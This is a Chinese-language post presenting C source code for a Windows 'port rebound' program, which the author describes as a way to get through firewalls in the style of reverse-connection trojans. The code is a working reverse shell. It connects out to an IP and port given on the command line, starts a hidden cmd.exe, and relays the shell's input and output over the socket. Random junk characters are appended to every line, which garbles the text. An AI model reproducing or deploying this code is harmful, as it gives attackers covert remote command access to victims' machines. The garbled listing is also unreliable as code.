Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 F.1
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/* ============================== CnZEBAU  
Rebound port in Windows NT 5$Kj#9g-#  
By wind,2006/7 M<NY`7$^  
===============================*/ N!wuBRWR  
#include _`^AgRE  
#include pnz:<V"Y(  
:FH&#Eq~4  
#pragma comment(lib,"wsock32.lib") rWDD$4y  
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void OutputShell(); _O'!C!K6  
SOCKET sClient; { gs$pBu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f8N*[by  
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void main(int argc,char **argv) p8)R#QWz9  
{ oaPWeM+  
WSADATA stWsaData; 5G(dvM-n  
int nRet; Yo'Y-h#  
SOCKADDR_IN stSaiClient,stSaiServer; p=E#!cn3  
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if(argc != 3) 2Vf242z_  
{ @n.n[zb\|  
printf("Useage:\n\rRebound DestIP DestPort\n"); i|AWaG)  
return; p'%S{v@5((  
} -LUZ7,!/>o  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [+R_3'aK  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ){'<67dK  
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stSaiClient.sin_family = AF_INET; Y_jc*S  
stSaiClient.sin_port = htons(0); oPni4^g i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zaLPPm&f  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D&o\q68W  
{ x0ipk}  
printf("Bind Socket Failed!\n"); +L.D3  
return; K?!W9lUq  
} _E'}8.#{  
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stSaiServer.sin_family = AF_INET; cHT\sJo`l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y {Bajil  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  +PADy8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |?Edk7`  
{ "a~r'+'<  
printf("Connect Error!"); 6k>5+-&_  
return; ^--R#$X  
} cb0rkmO  
OutputShell(); Y%0rji  
} ")vtS}Ekt  
/!?Tv8TPp  
void OutputShell() ;|?_C8  
{ @{_X@Wv4iV  
char szBuff[1024]; 4;AQ12<[1  
SECURITY_ATTRIBUTES stSecurityAttributes; O< /b]<[
 
OSVERSIONINFO stOsversionInfo; kBrA ?   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F!u)8>s+z{  
STARTUPINFO stStartupInfo; se2Y:v  
char *szShell; \a
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PROCESS_INFORMATION stProcessInformation; myN2G?>;  
unsigned long lBytesRead; "T^%HPif  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,VEE<*'X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .xmB8 R  
stSecurityAttributes.lpSecurityDescriptor = 0; N'&>bO?@`  
stSecurityAttributes.bInheritHandle = TRUE; ^9LoxU-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4[]*=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); glU9A39qx?  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '/ Hoq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <a -a~  
stStartupInfo.wShowWindow = SW_HIDE; (GL'm[V  
stStartupInfo.hStdInput = hReadPipe; SG\ /m'F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G<<;a  
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GetVersionEx(&stOsversionInfo); uM\\(g}  
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switch(stOsversionInfo.dwPlatformId) cl]W]^q-Cx  
{ Te?PYV-  
case 1: 
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szShell = "command.com"; 8N9,HNBT$  
break; mk!8>XvM  
default: w42{)S"  
szShell = "cmd.exe"; SC4jKm2  
break; sH2xkUp  
} XP%_|Q2X  
7_qsVhh]$E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |ZifrkD=  
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send(sClient,szMsg,77,0); =LK`mNA  
while(1) .B2e$`s$  
{ M!!vr8}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m,q)lbRl  
if(lBytesRead) N5=}0s]e  
{ ^mFsrw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w_@{v wM$A  
send(sClient,szBuff,lBytesRead,0); qk3~]</  
}  ?f'`b<o  
else Hmhsb2`\  
{ Y:m8UnT  
lBytesRead=recv(sClient,szBuff,1024,0); z2,NWmP|w  
if(lBytesRead<=0) break; mrG?5
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w~crj$UM  
} 8?kB+}@6X  
} 1pDU}rPJ.  
:R:@V#Y  
return; tK{#kApHGG  
}